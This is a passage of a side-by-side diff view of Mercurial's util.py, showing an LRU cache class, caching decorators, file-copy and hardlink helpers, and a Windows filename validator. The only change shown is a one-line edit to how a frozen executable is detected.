1399 | 1400 | cost to each item in the cache. By default, no maximum cost is enforced. |
|
1400 | 1401 | """ |
|
1401 | 1402 | |
|
1402 | 1403 | def __init__(self, max, maxcost=0): |
|
1403 | 1404 | self._cache = {} |
|
1404 | 1405 | |
|
1405 | 1406 | self._head = head = _lrucachenode() |
|
1406 | 1407 | head.prev = head |
|
1407 | 1408 | head.next = head |
|
1408 | 1409 | self._size = 1 |
|
1409 | 1410 | self.capacity = max |
|
1410 | 1411 | self.totalcost = 0 |
|
1411 | 1412 | self.maxcost = maxcost |
|
1412 | 1413 | |
|
1413 | 1414 | def __len__(self): |
|
1414 | 1415 | return len(self._cache) |
|
1415 | 1416 | |
|
1416 | 1417 | def __contains__(self, k): |
|
1417 | 1418 | return k in self._cache |
|
1418 | 1419 | |
|
1419 | 1420 | def __iter__(self): |
|
1420 | 1421 | # We don't have to iterate in cache order, but why not. |
|
1421 | 1422 | n = self._head |
|
1422 | 1423 | for i in range(len(self._cache)): |
|
1423 | 1424 | yield n.key |
|
1424 | 1425 | n = n.next |
|
1425 | 1426 | |
|
1426 | 1427 | def __getitem__(self, k): |
|
1427 | 1428 | node = self._cache[k] |
|
1428 | 1429 | self._movetohead(node) |
|
1429 | 1430 | return node.value |
|
1430 | 1431 | |
|
1431 | 1432 | def insert(self, k, v, cost=0): |
|
1432 | 1433 | """Insert a new item in the cache with optional cost value.""" |
|
1433 | 1434 | node = self._cache.get(k) |
|
1434 | 1435 | # Replace existing value and mark as newest. |
|
1435 | 1436 | if node is not None: |
|
1436 | 1437 | self.totalcost -= node.cost |
|
1437 | 1438 | node.value = v |
|
1438 | 1439 | node.cost = cost |
|
1439 | 1440 | self.totalcost += cost |
|
1440 | 1441 | self._movetohead(node) |
|
1441 | 1442 | |
|
1442 | 1443 | if self.maxcost: |
|
1443 | 1444 | self._enforcecostlimit() |
|
1444 | 1445 | |
|
1445 | 1446 | return |
|
1446 | 1447 | |
|
1447 | 1448 | if self._size < self.capacity: |
|
1448 | 1449 | node = self._addcapacity() |
|
1449 | 1450 | else: |
|
1450 | 1451 | # Grab the last/oldest item. |
|
1451 | 1452 | node = self._head.prev |
|
1452 | 1453 | |
|
1453 | 1454 | # At capacity. Kill the old entry. |
|
1454 | 1455 | if node.key is not _notset: |
|
1455 | 1456 | self.totalcost -= node.cost |
|
1456 | 1457 | del self._cache[node.key] |
|
1457 | 1458 | |
|
1458 | 1459 | node.key = k |
|
1459 | 1460 | node.value = v |
|
1460 | 1461 | node.cost = cost |
|
1461 | 1462 | self.totalcost += cost |
|
1462 | 1463 | self._cache[k] = node |
|
1463 | 1464 | # And mark it as newest entry. No need to adjust order since it |
|
1464 | 1465 | # is already self._head.prev. |
|
1465 | 1466 | self._head = node |
|
1466 | 1467 | |
|
1467 | 1468 | if self.maxcost: |
|
1468 | 1469 | self._enforcecostlimit() |
|
1469 | 1470 | |
|
1470 | 1471 | def __setitem__(self, k, v): |
|
1471 | 1472 | self.insert(k, v) |
|
1472 | 1473 | |
|
1473 | 1474 | def __delitem__(self, k): |
|
1474 | 1475 | self.pop(k) |
|
1475 | 1476 | |
|
1476 | 1477 | def pop(self, k, default=_notset): |
|
1477 | 1478 | try: |
|
1478 | 1479 | node = self._cache.pop(k) |
|
1479 | 1480 | except KeyError: |
|
1480 | 1481 | if default is _notset: |
|
1481 | 1482 | raise |
|
1482 | 1483 | return default |
|
1483 | 1484 | value = node.value |
|
1484 | 1485 | self.totalcost -= node.cost |
|
1485 | 1486 | node.markempty() |
|
1486 | 1487 | |
|
1487 | 1488 | # Temporarily mark as newest item before re-adjusting head to make |
|
1488 | 1489 | # this node the oldest item. |
|
1489 | 1490 | self._movetohead(node) |
|
1490 | 1491 | self._head = node.next |
|
1491 | 1492 | |
|
1492 | 1493 | return value |
|
1493 | 1494 | |
|
1494 | 1495 | # Additional dict methods. |
|
1495 | 1496 | |
|
1496 | 1497 | def get(self, k, default=None): |
|
1497 | 1498 | try: |
|
1498 | 1499 | return self.__getitem__(k) |
|
1499 | 1500 | except KeyError: |
|
1500 | 1501 | return default |
|
1501 | 1502 | |
|
1502 | 1503 | def peek(self, k, default=_notset): |
|
1503 | 1504 | """Get the specified item without moving it to the head |
|
1504 | 1505 | |
|
1505 | 1506 | Unlike get(), this doesn't mutate the internal state. But be aware |
|
1506 | 1507 | that it doesn't mean peek() is thread safe. |
|
1507 | 1508 | """ |
|
1508 | 1509 | try: |
|
1509 | 1510 | node = self._cache[k] |
|
1510 | 1511 | return node.value |
|
1511 | 1512 | except KeyError: |
|
1512 | 1513 | if default is _notset: |
|
1513 | 1514 | raise |
|
1514 | 1515 | return default |
|
1515 | 1516 | |
|
1516 | 1517 | def clear(self): |
|
1517 | 1518 | n = self._head |
|
1518 | 1519 | while n.key is not _notset: |
|
1519 | 1520 | self.totalcost -= n.cost |
|
1520 | 1521 | n.markempty() |
|
1521 | 1522 | n = n.next |
|
1522 | 1523 | |
|
1523 | 1524 | self._cache.clear() |
|
1524 | 1525 | |
|
1525 | 1526 | def copy(self, capacity=None, maxcost=0): |
|
1526 | 1527 | """Create a new cache as a copy of the current one. |
|
1527 | 1528 | |
|
1528 | 1529 | By default, the new cache has the same capacity as the existing one. |
|
1529 | 1530 | But, the cache capacity can be changed as part of performing the |
|
1530 | 1531 | copy. |
|
1531 | 1532 | |
|
1532 | 1533 | Items in the copy have an insertion/access order matching this |
|
1533 | 1534 | instance. |
|
1534 | 1535 | """ |
|
1535 | 1536 | |
|
1536 | 1537 | capacity = capacity or self.capacity |
|
1537 | 1538 | maxcost = maxcost or self.maxcost |
|
1538 | 1539 | result = lrucachedict(capacity, maxcost=maxcost) |
|
1539 | 1540 | |
|
1540 | 1541 | # We copy entries by iterating in oldest-to-newest order so the copy |
|
1541 | 1542 | # has the correct ordering. |
|
1542 | 1543 | |
|
1543 | 1544 | # Find the first non-empty entry. |
|
1544 | 1545 | n = self._head.prev |
|
1545 | 1546 | while n.key is _notset and n is not self._head: |
|
1546 | 1547 | n = n.prev |
|
1547 | 1548 | |
|
1548 | 1549 | # We could potentially skip the first N items when decreasing capacity. |
|
1549 | 1550 | # But let's keep it simple unless it is a performance problem. |
|
1550 | 1551 | for i in range(len(self._cache)): |
|
1551 | 1552 | result.insert(n.key, n.value, cost=n.cost) |
|
1552 | 1553 | n = n.prev |
|
1553 | 1554 | |
|
1554 | 1555 | return result |
|
1555 | 1556 | |
|
1556 | 1557 | def popoldest(self): |
|
1557 | 1558 | """Remove the oldest item from the cache. |
|
1558 | 1559 | |
|
1559 | 1560 | Returns the (key, value) describing the removed cache entry. |
|
1560 | 1561 | """ |
|
1561 | 1562 | if not self._cache: |
|
1562 | 1563 | return |
|
1563 | 1564 | |
|
1564 | 1565 | # Walk the linked list backwards starting at tail node until we hit |
|
1565 | 1566 | # a non-empty node. |
|
1566 | 1567 | n = self._head.prev |
|
1567 | 1568 | while n.key is _notset: |
|
1568 | 1569 | n = n.prev |
|
1569 | 1570 | |
|
1570 | 1571 | key, value = n.key, n.value |
|
1571 | 1572 | |
|
1572 | 1573 | # And remove it from the cache and mark it as empty. |
|
1573 | 1574 | del self._cache[n.key] |
|
1574 | 1575 | self.totalcost -= n.cost |
|
1575 | 1576 | n.markempty() |
|
1576 | 1577 | |
|
1577 | 1578 | return key, value |
|
1578 | 1579 | |
|
1579 | 1580 | def _movetohead(self, node): |
|
1580 | 1581 | """Mark a node as the newest, making it the new head. |
|
1581 | 1582 | |
|
1582 | 1583 | When a node is accessed, it becomes the freshest entry in the LRU |
|
1583 | 1584 | list, which is denoted by self._head. |
|
1584 | 1585 | |
|
1585 | 1586 | Visually, let's make ``N`` the new head node (* denotes head): |
|
1586 | 1587 | |
|
1587 | 1588 | previous/oldest <-> head <-> next/next newest |
|
1588 | 1589 | |
|
1589 | 1590 | ----<->--- A* ---<->----- |
|
1590 | 1591 | | | |
|
1591 | 1592 | E <-> D <-> N <-> C <-> B |
|
1592 | 1593 | |
|
1593 | 1594 | To: |
|
1594 | 1595 | |
|
1595 | 1596 | ----<->--- N* ---<->----- |
|
1596 | 1597 | | | |
|
1597 | 1598 | E <-> D <-> C <-> B <-> A |
|
1598 | 1599 | |
|
1599 | 1600 | This requires the following moves: |
|
1600 | 1601 | |
|
1601 | 1602 | C.next = D (node.prev.next = node.next) |
|
1602 | 1603 | D.prev = C (node.next.prev = node.prev) |
|
1603 | 1604 | E.next = N (head.prev.next = node) |
|
1604 | 1605 | N.prev = E (node.prev = head.prev) |
|
1605 | 1606 | N.next = A (node.next = head) |
|
1606 | 1607 | A.prev = N (head.prev = node) |
|
1607 | 1608 | """ |
|
1608 | 1609 | head = self._head |
|
1609 | 1610 | # C.next = D |
|
1610 | 1611 | node.prev.next = node.next |
|
1611 | 1612 | # D.prev = C |
|
1612 | 1613 | node.next.prev = node.prev |
|
1613 | 1614 | # N.prev = E |
|
1614 | 1615 | node.prev = head.prev |
|
1615 | 1616 | # N.next = A |
|
1616 | 1617 | # It is tempting to do just "head" here, however if node is |
|
1617 | 1618 | # adjacent to head, this will do bad things. |
|
1618 | 1619 | node.next = head.prev.next |
|
1619 | 1620 | # E.next = N |
|
1620 | 1621 | node.next.prev = node |
|
1621 | 1622 | # A.prev = N |
|
1622 | 1623 | node.prev.next = node |
|
1623 | 1624 | |
|
1624 | 1625 | self._head = node |
|
1625 | 1626 | |
|
1626 | 1627 | def _addcapacity(self): |
|
1627 | 1628 | """Add a node to the circular linked list. |
|
1628 | 1629 | |
|
1629 | 1630 | The new node is inserted before the head node. |
|
1630 | 1631 | """ |
|
1631 | 1632 | head = self._head |
|
1632 | 1633 | node = _lrucachenode() |
|
1633 | 1634 | head.prev.next = node |
|
1634 | 1635 | node.prev = head.prev |
|
1635 | 1636 | node.next = head |
|
1636 | 1637 | head.prev = node |
|
1637 | 1638 | self._size += 1 |
|
1638 | 1639 | return node |
|
1639 | 1640 | |
|
1640 | 1641 | def _enforcecostlimit(self): |
|
1641 | 1642 | # This should run after an insertion. It should only be called if total |
|
1642 | 1643 | # cost limits are being enforced. |
|
1643 | 1644 | # The most recently inserted node is never evicted. |
|
1644 | 1645 | if len(self) <= 1 or self.totalcost <= self.maxcost: |
|
1645 | 1646 | return |
|
1646 | 1647 | |
|
1647 | 1648 | # This is logically equivalent to calling popoldest() until we |
|
1648 | 1649 | # free up enough cost. We don't do that since popoldest() needs |
|
1649 | 1650 | # to walk the linked list and doing this in a loop would be |
|
1650 | 1651 | # quadratic. So we find the first non-empty node and then |
|
1651 | 1652 | # walk nodes until we free up enough capacity. |
|
1652 | 1653 | # |
|
1653 | 1654 | # If we only removed the minimum number of nodes to free enough |
|
1654 | 1655 | # cost at insert time, chances are high that the next insert would |
|
1655 | 1656 | # also require pruning. This would effectively constitute quadratic |
|
1656 | 1657 | # behavior for insert-heavy workloads. To mitigate this, we set a |
|
1657 | 1658 | # target cost that is a percentage of the max cost. This will tend |
|
1658 | 1659 | # to free more nodes when the high water mark is reached, which |
|
1659 | 1660 | # lowers the chances of needing to prune on the subsequent insert. |
|
1660 | 1661 | targetcost = int(self.maxcost * 0.75) |
|
1661 | 1662 | |
|
1662 | 1663 | n = self._head.prev |
|
1663 | 1664 | while n.key is _notset: |
|
1664 | 1665 | n = n.prev |
|
1665 | 1666 | |
|
1666 | 1667 | while len(self) > 1 and self.totalcost > targetcost: |
|
1667 | 1668 | del self._cache[n.key] |
|
1668 | 1669 | self.totalcost -= n.cost |
|
1669 | 1670 | n.markempty() |
|
1670 | 1671 | n = n.prev |
|
1671 | 1672 | |
|
1672 | 1673 | |
|
1673 | 1674 | def lrucachefunc(func): |
|
1674 | 1675 | '''cache most recent results of function calls''' |
|
1675 | 1676 | cache = {} |
|
1676 | 1677 | order = collections.deque() |
|
1677 | 1678 | if func.__code__.co_argcount == 1: |
|
1678 | 1679 | |
|
1679 | 1680 | def f(arg): |
|
1680 | 1681 | if arg not in cache: |
|
1681 | 1682 | if len(cache) > 20: |
|
1682 | 1683 | del cache[order.popleft()] |
|
1683 | 1684 | cache[arg] = func(arg) |
|
1684 | 1685 | else: |
|
1685 | 1686 | order.remove(arg) |
|
1686 | 1687 | order.append(arg) |
|
1687 | 1688 | return cache[arg] |
|
1688 | 1689 | |
|
1689 | 1690 | else: |
|
1690 | 1691 | |
|
1691 | 1692 | def f(*args): |
|
1692 | 1693 | if args not in cache: |
|
1693 | 1694 | if len(cache) > 20: |
|
1694 | 1695 | del cache[order.popleft()] |
|
1695 | 1696 | cache[args] = func(*args) |
|
1696 | 1697 | else: |
|
1697 | 1698 | order.remove(args) |
|
1698 | 1699 | order.append(args) |
|
1699 | 1700 | return cache[args] |
|
1700 | 1701 | |
|
1701 | 1702 | return f |
|
1702 | 1703 | |
|
1703 | 1704 | |
|
1704 | 1705 | class propertycache(object): |
|
1705 | 1706 | def __init__(self, func): |
|
1706 | 1707 | self.func = func |
|
1707 | 1708 | self.name = func.__name__ |
|
1708 | 1709 | |
|
1709 | 1710 | def __get__(self, obj, type=None): |
|
1710 | 1711 | result = self.func(obj) |
|
1711 | 1712 | self.cachevalue(obj, result) |
|
1712 | 1713 | return result |
|
1713 | 1714 | |
|
1714 | 1715 | def cachevalue(self, obj, value): |
|
1715 | 1716 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
1716 | 1717 | obj.__dict__[self.name] = value |
|
1717 | 1718 | |
|
1718 | 1719 | |
|
1719 | 1720 | def clearcachedproperty(obj, prop): |
|
1720 | 1721 | '''clear a cached property value, if one has been set''' |
|
1721 | 1722 | prop = pycompat.sysstr(prop) |
|
1722 | 1723 | if prop in obj.__dict__: |
|
1723 | 1724 | del obj.__dict__[prop] |
|
1724 | 1725 | |
|
1725 | 1726 | |
|
1726 | 1727 | def increasingchunks(source, min=1024, max=65536): |
|
1727 | 1728 | '''return no less than min bytes per chunk while data remains, |
|
1728 | 1729 | doubling min after each chunk until it reaches max''' |
|
1729 | 1730 | |
|
1730 | 1731 | def log2(x): |
|
1731 | 1732 | if not x: |
|
1732 | 1733 | return 0 |
|
1733 | 1734 | i = 0 |
|
1734 | 1735 | while x: |
|
1735 | 1736 | x >>= 1 |
|
1736 | 1737 | i += 1 |
|
1737 | 1738 | return i - 1 |
|
1738 | 1739 | |
|
1739 | 1740 | buf = [] |
|
1740 | 1741 | blen = 0 |
|
1741 | 1742 | for chunk in source: |
|
1742 | 1743 | buf.append(chunk) |
|
1743 | 1744 | blen += len(chunk) |
|
1744 | 1745 | if blen >= min: |
|
1745 | 1746 | if min < max: |
|
1746 | 1747 | min = min << 1 |
|
1747 | 1748 | nmin = 1 << log2(blen) |
|
1748 | 1749 | if nmin > min: |
|
1749 | 1750 | min = nmin |
|
1750 | 1751 | if min > max: |
|
1751 | 1752 | min = max |
|
1752 | 1753 | yield b''.join(buf) |
|
1753 | 1754 | blen = 0 |
|
1754 | 1755 | buf = [] |
|
1755 | 1756 | if buf: |
|
1756 | 1757 | yield b''.join(buf) |
|
1757 | 1758 | |
|
1758 | 1759 | |
|
1759 | 1760 | def always(fn): |
|
1760 | 1761 | return True |
|
1761 | 1762 | |
|
1762 | 1763 | |
|
1763 | 1764 | def never(fn): |
|
1764 | 1765 | return False |
|
1765 | 1766 | |
|
1766 | 1767 | |
|
1767 | 1768 | def nogc(func): |
|
1768 | 1769 | """disable garbage collector |
|
1769 | 1770 | |
|
1770 | 1771 | Python's garbage collector triggers a GC each time a certain number of |
|
1771 | 1772 | container objects (the number being defined by gc.get_threshold()) are |
|
1772 | 1773 | allocated even when marked not to be tracked by the collector. Tracking has |
|
1773 | 1774 | no effect on when GCs are triggered, only on what objects the GC looks |
|
1774 | 1775 | into. As a workaround, disable GC while building complex (huge) |
|
1775 | 1776 | containers. |
|
1776 | 1777 | |
|
1777 | 1778 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
1778 | 1779 | CPython's performance. |
|
1779 | 1780 | """ |
|
1780 | 1781 | |
|
1781 | 1782 | def wrapper(*args, **kwargs): |
|
1782 | 1783 | gcenabled = gc.isenabled() |
|
1783 | 1784 | gc.disable() |
|
1784 | 1785 | try: |
|
1785 | 1786 | return func(*args, **kwargs) |
|
1786 | 1787 | finally: |
|
1787 | 1788 | if gcenabled: |
|
1788 | 1789 | gc.enable() |
|
1789 | 1790 | |
|
1790 | 1791 | return wrapper |
|
1791 | 1792 | |
|
1792 | 1793 | |
|
1793 | 1794 | if pycompat.ispypy: |
|
1794 | 1795 | # PyPy runs slower with gc disabled |
|
1795 | 1796 | nogc = lambda x: x |
|
1796 | 1797 | |
|
1797 | 1798 | |
|
1798 | 1799 | def pathto(root, n1, n2): |
|
1799 | 1800 | '''return the relative path from one place to another. |
|
1800 | 1801 | root should use os.sep to separate directories |
|
1801 | 1802 | n1 should use os.sep to separate directories |
|
1802 | 1803 | n2 should use "/" to separate directories |
|
1803 | 1804 | returns an os.sep-separated path. |
|
1804 | 1805 | |
|
1805 | 1806 | If n1 is a relative path, it's assumed it's |
|
1806 | 1807 | relative to root. |
|
1807 | 1808 | n2 should always be relative to root. |
|
1808 | 1809 | ''' |
|
1809 | 1810 | if not n1: |
|
1810 | 1811 | return localpath(n2) |
|
1811 | 1812 | if os.path.isabs(n1): |
|
1812 | 1813 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
1813 | 1814 | return os.path.join(root, localpath(n2)) |
|
1814 | 1815 | n2 = b'/'.join((pconvert(root), n2)) |
|
1815 | 1816 | a, b = splitpath(n1), n2.split(b'/') |
|
1816 | 1817 | a.reverse() |
|
1817 | 1818 | b.reverse() |
|
1818 | 1819 | while a and b and a[-1] == b[-1]: |
|
1819 | 1820 | a.pop() |
|
1820 | 1821 | b.pop() |
|
1821 | 1822 | b.reverse() |
|
1822 | 1823 | return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' |
|
1823 | 1824 | |
|
1824 | 1825 | |
|
1825 | 1826 | # the location of data files matching the source code |
|
1826 |
if |
|
|
1827 | if resourceutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': | |
|
1827 | 1828 | # executable version (py2exe) doesn't support __file__ |
|
1828 | 1829 | datapath = os.path.dirname(pycompat.sysexecutable) |
|
1829 | 1830 | else: |
|
1830 | 1831 | datapath = os.path.dirname(pycompat.fsencode(__file__)) |
|
1831 | 1832 | |
|
1832 | 1833 | i18n.setdatapath(datapath) |
|
1833 | 1834 | |
|
1834 | 1835 | |
|
1835 | 1836 | def checksignature(func): |
|
1836 | 1837 | '''wrap a function with code to check for calling errors''' |
|
1837 | 1838 | |
|
1838 | 1839 | def check(*args, **kwargs): |
|
1839 | 1840 | try: |
|
1840 | 1841 | return func(*args, **kwargs) |
|
1841 | 1842 | except TypeError: |
|
1842 | 1843 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1843 | 1844 | raise error.SignatureError |
|
1844 | 1845 | raise |
|
1845 | 1846 | |
|
1846 | 1847 | return check |
|
1847 | 1848 | |
|
1848 | 1849 | |
|
1849 | 1850 | # a whilelist of known filesystems where hardlink works reliably |
|
1850 | 1851 | _hardlinkfswhitelist = { |
|
1851 | 1852 | b'apfs', |
|
1852 | 1853 | b'btrfs', |
|
1853 | 1854 | b'ext2', |
|
1854 | 1855 | b'ext3', |
|
1855 | 1856 | b'ext4', |
|
1856 | 1857 | b'hfs', |
|
1857 | 1858 | b'jfs', |
|
1858 | 1859 | b'NTFS', |
|
1859 | 1860 | b'reiserfs', |
|
1860 | 1861 | b'tmpfs', |
|
1861 | 1862 | b'ufs', |
|
1862 | 1863 | b'xfs', |
|
1863 | 1864 | b'zfs', |
|
1864 | 1865 | } |
|
1865 | 1866 | |
|
1866 | 1867 | |
|
1867 | 1868 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1868 | 1869 | '''copy a file, preserving mode and optionally other stat info like |
|
1869 | 1870 | atime/mtime |
|
1870 | 1871 | |
|
1871 | 1872 | checkambig argument is used with filestat, and is useful only if |
|
1872 | 1873 | destination file is guarded by any lock (e.g. repo.lock or |
|
1873 | 1874 | repo.wlock). |
|
1874 | 1875 | |
|
1875 | 1876 | copystat and checkambig should be exclusive. |
|
1876 | 1877 | ''' |
|
1877 | 1878 | assert not (copystat and checkambig) |
|
1878 | 1879 | oldstat = None |
|
1879 | 1880 | if os.path.lexists(dest): |
|
1880 | 1881 | if checkambig: |
|
1881 | 1882 | oldstat = checkambig and filestat.frompath(dest) |
|
1882 | 1883 | unlink(dest) |
|
1883 | 1884 | if hardlink: |
|
1884 | 1885 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1885 | 1886 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1886 | 1887 | try: |
|
1887 | 1888 | fstype = getfstype(os.path.dirname(dest)) |
|
1888 | 1889 | except OSError: |
|
1889 | 1890 | fstype = None |
|
1890 | 1891 | if fstype not in _hardlinkfswhitelist: |
|
1891 | 1892 | hardlink = False |
|
1892 | 1893 | if hardlink: |
|
1893 | 1894 | try: |
|
1894 | 1895 | oslink(src, dest) |
|
1895 | 1896 | return |
|
1896 | 1897 | except (IOError, OSError): |
|
1897 | 1898 | pass # fall back to normal copy |
|
1898 | 1899 | if os.path.islink(src): |
|
1899 | 1900 | os.symlink(os.readlink(src), dest) |
|
1900 | 1901 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1901 | 1902 | # for them anyway |
|
1902 | 1903 | else: |
|
1903 | 1904 | try: |
|
1904 | 1905 | shutil.copyfile(src, dest) |
|
1905 | 1906 | if copystat: |
|
1906 | 1907 | # copystat also copies mode |
|
1907 | 1908 | shutil.copystat(src, dest) |
|
1908 | 1909 | else: |
|
1909 | 1910 | shutil.copymode(src, dest) |
|
1910 | 1911 | if oldstat and oldstat.stat: |
|
1911 | 1912 | newstat = filestat.frompath(dest) |
|
1912 | 1913 | if newstat.isambig(oldstat): |
|
1913 | 1914 | # stat of copied file is ambiguous to original one |
|
1914 | 1915 | advanced = ( |
|
1915 | 1916 | oldstat.stat[stat.ST_MTIME] + 1 |
|
1916 | 1917 | ) & 0x7FFFFFFF |
|
1917 | 1918 | os.utime(dest, (advanced, advanced)) |
|
1918 | 1919 | except shutil.Error as inst: |
|
1919 | 1920 | raise error.Abort(str(inst)) |
|
1920 | 1921 | |
|
1921 | 1922 | |
|
1922 | 1923 | def copyfiles(src, dst, hardlink=None, progress=None): |
|
1923 | 1924 | """Copy a directory tree using hardlinks if possible.""" |
|
1924 | 1925 | num = 0 |
|
1925 | 1926 | |
|
1926 | 1927 | def settopic(): |
|
1927 | 1928 | if progress: |
|
1928 | 1929 | progress.topic = _(b'linking') if hardlink else _(b'copying') |
|
1929 | 1930 | |
|
1930 | 1931 | if os.path.isdir(src): |
|
1931 | 1932 | if hardlink is None: |
|
1932 | 1933 | hardlink = ( |
|
1933 | 1934 | os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev |
|
1934 | 1935 | ) |
|
1935 | 1936 | settopic() |
|
1936 | 1937 | os.mkdir(dst) |
|
1937 | 1938 | for name, kind in listdir(src): |
|
1938 | 1939 | srcname = os.path.join(src, name) |
|
1939 | 1940 | dstname = os.path.join(dst, name) |
|
1940 | 1941 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
|
1941 | 1942 | num += n |
|
1942 | 1943 | else: |
|
1943 | 1944 | if hardlink is None: |
|
1944 | 1945 | hardlink = ( |
|
1945 | 1946 | os.stat(os.path.dirname(src)).st_dev |
|
1946 | 1947 | == os.stat(os.path.dirname(dst)).st_dev |
|
1947 | 1948 | ) |
|
1948 | 1949 | settopic() |
|
1949 | 1950 | |
|
1950 | 1951 | if hardlink: |
|
1951 | 1952 | try: |
|
1952 | 1953 | oslink(src, dst) |
|
1953 | 1954 | except (IOError, OSError): |
|
1954 | 1955 | hardlink = False |
|
1955 | 1956 | shutil.copy(src, dst) |
|
1956 | 1957 | else: |
|
1957 | 1958 | shutil.copy(src, dst) |
|
1958 | 1959 | num += 1 |
|
1959 | 1960 | if progress: |
|
1960 | 1961 | progress.increment() |
|
1961 | 1962 | |
|
1962 | 1963 | return hardlink, num |
|
1963 | 1964 | |
|
1964 | 1965 | |
|
1965 | 1966 | _winreservednames = { |
|
1966 | 1967 | b'con', |
|
1967 | 1968 | b'prn', |
|
1968 | 1969 | b'aux', |
|
1969 | 1970 | b'nul', |
|
1970 | 1971 | b'com1', |
|
1971 | 1972 | b'com2', |
|
1972 | 1973 | b'com3', |
|
1973 | 1974 | b'com4', |
|
1974 | 1975 | b'com5', |
|
1975 | 1976 | b'com6', |
|
1976 | 1977 | b'com7', |
|
1977 | 1978 | b'com8', |
|
1978 | 1979 | b'com9', |
|
1979 | 1980 | b'lpt1', |
|
1980 | 1981 | b'lpt2', |
|
1981 | 1982 | b'lpt3', |
|
1982 | 1983 | b'lpt4', |
|
1983 | 1984 | b'lpt5', |
|
1984 | 1985 | b'lpt6', |
|
1985 | 1986 | b'lpt7', |
|
1986 | 1987 | b'lpt8', |
|
1987 | 1988 | b'lpt9', |
|
1988 | 1989 | } |
|
1989 | 1990 | _winreservedchars = b':*?"<>|' |
|
1990 | 1991 | |
|
1991 | 1992 | |
|
1992 | 1993 | def checkwinfilename(path): |
|
1993 | 1994 | r'''Check that the base-relative path is a valid filename on Windows. |
|
1994 | 1995 | Returns None if the path is ok, or a UI string describing the problem. |
|
1995 | 1996 | |
|
1996 | 1997 | >>> checkwinfilename(b"just/a/normal/path") |
|
1997 | 1998 | >>> checkwinfilename(b"foo/bar/con.xml") |
|
1998 | 1999 | "filename contains 'con', which is reserved on Windows" |
|
1999 | 2000 | >>> checkwinfilename(b"foo/con.xml/bar") |
|
2000 | 2001 | "filename contains 'con', which is reserved on Windows" |
|
2001 | 2002 | >>> checkwinfilename(b"foo/bar/xml.con") |
|
2002 | 2003 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
|
2003 | 2004 | "filename contains 'AUX', which is reserved on Windows" |
|
2004 | 2005 | >>> checkwinfilename(b"foo/bar/bla:.txt") |
|
2005 | 2006 | "filename contains ':', which is reserved on Windows" |
|
2006 | 2007 | >>> checkwinfilename(b"foo/bar/b\07la.txt") |
|
2007 | 2008 | "filename contains '\\x07', which is invalid on Windows" |
|
2008 | 2009 | >>> checkwinfilename(b"foo/bar/bla ") |
|
2009 | 2010 | "filename ends with ' ', which is not allowed on Windows" |
|
2010 | 2011 | >>> checkwinfilename(b"../bar") |
|
2011 | 2012 | >>> checkwinfilename(b"foo\\") |
|
2012 | 2013 | "filename ends with '\\', which is invalid on Windows" |
|
2013 | 2014 | >>> checkwinfilename(b"foo\\/bar") |
|
2014 | 2015 | "directory name ends with '\\', which is invalid on Windows" |
|
2015 | 2016 | ''' |
|
2016 | 2017 | if path.endswith(b'\\'): |
|
2017 | 2018 | return _(b"filename ends with '\\', which is invalid on Windows") |
|
2018 | 2019 | if b'\\/' in path: |
|
2019 | 2020 | return _(b"directory name ends with '\\', which is invalid on Windows") |
|
2020 | 2021 | for n in path.replace(b'\\', b'/').split(b'/'): |
|
2021 | 2022 | if not n: |
|
2022 | 2023 | continue |
|
2023 | 2024 | for c in _filenamebytestr(n): |
|
2024 | 2025 | if c in _winreservedchars: |
|
2025 | 2026 | return ( |
|
2026 | 2027 | _( |
|
2027 | 2028 | b"filename contains '%s', which is reserved " |
|
2028 | 2029 | b"on Windows" |
|
2029 | 2030 | ) |
|
2030 | 2031 | % c |
|
2031 | 2032 | ) |
|
2032 | 2033 | if ord(c) <= 31: |
|
2033 | 2034 | return _( |
|
2034 | 2035 | b"filename contains '%s', which is invalid on Windows" |
|
2035 | 2036 | ) % stringutil.escapestr(c) |
|
2036 | 2037 | base = n.split(b'.')[0] |
|
2037 | 2038 | if base and base.lower() in _winreservednames: |
|
2038 | 2039 | return ( |
|
2039 | 2040 | _(b"filename contains '%s', which is reserved on Windows") |
|
2040 | 2041 | % base |
|
2041 | 2042 | ) |
|
2042 | 2043 | t = n[-1:] |
|
2043 | 2044 | if t in b'. ' and n not in b'..': |
|
2044 | 2045 | return ( |
|
2045 | 2046 | _( |
|
2046 | 2047 | b"filename ends with '%s', which is not allowed " |
|
2047 | 2048 | b"on Windows" |
|
2048 | 2049 | ) |
|
2049 | 2050 | % t |
|
2050 | 2051 | ) |
|
2051 | 2052 | |
|
2052 | 2053 | |
|
2053 | 2054 | if pycompat.iswindows: |
|
2054 | 2055 | checkosfilename = checkwinfilename |
|
2055 | 2056 | timer = time.clock |
|
2056 | 2057 | else: |
|
2057 | 2058 | checkosfilename = platform.checkosfilename |
|
2058 | 2059 | timer = time.time |
|
2059 | 2060 | |
|
2060 | 2061 | if safehasattr(time, "perf_counter"): |
|
2061 | 2062 | timer = time.perf_counter |
|
2062 | 2063 | |
|
2063 | 2064 | |
|
2064 | 2065 | def makelock(info, pathname): |
|
2065 | 2066 | """Create a lock file atomically if possible |
|
2066 | 2067 | |
|
2067 | 2068 | This may leave a stale lock file if symlink isn't supported and signal |
|
2068 | 2069 | interrupt is enabled. |
|
2069 | 2070 | """ |
|
2070 | 2071 | try: |
|
2071 | 2072 | return os.symlink(info, pathname) |
|
2072 | 2073 | except OSError as why: |
|
2073 | 2074 | if why.errno == errno.EEXIST: |
|
2074 | 2075 | raise |
|
2075 | 2076 | except AttributeError: # no symlink in os |
|
2076 | 2077 | pass |
|
2077 | 2078 | |
|
2078 | 2079 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
|
2079 | 2080 | ld = os.open(pathname, flags) |
|
2080 | 2081 | os.write(ld, info) |
|
2081 | 2082 | os.close(ld) |
|
2082 | 2083 | |
|
2083 | 2084 | |
|
2084 | 2085 | def readlock(pathname): |
|
2085 | 2086 | try: |
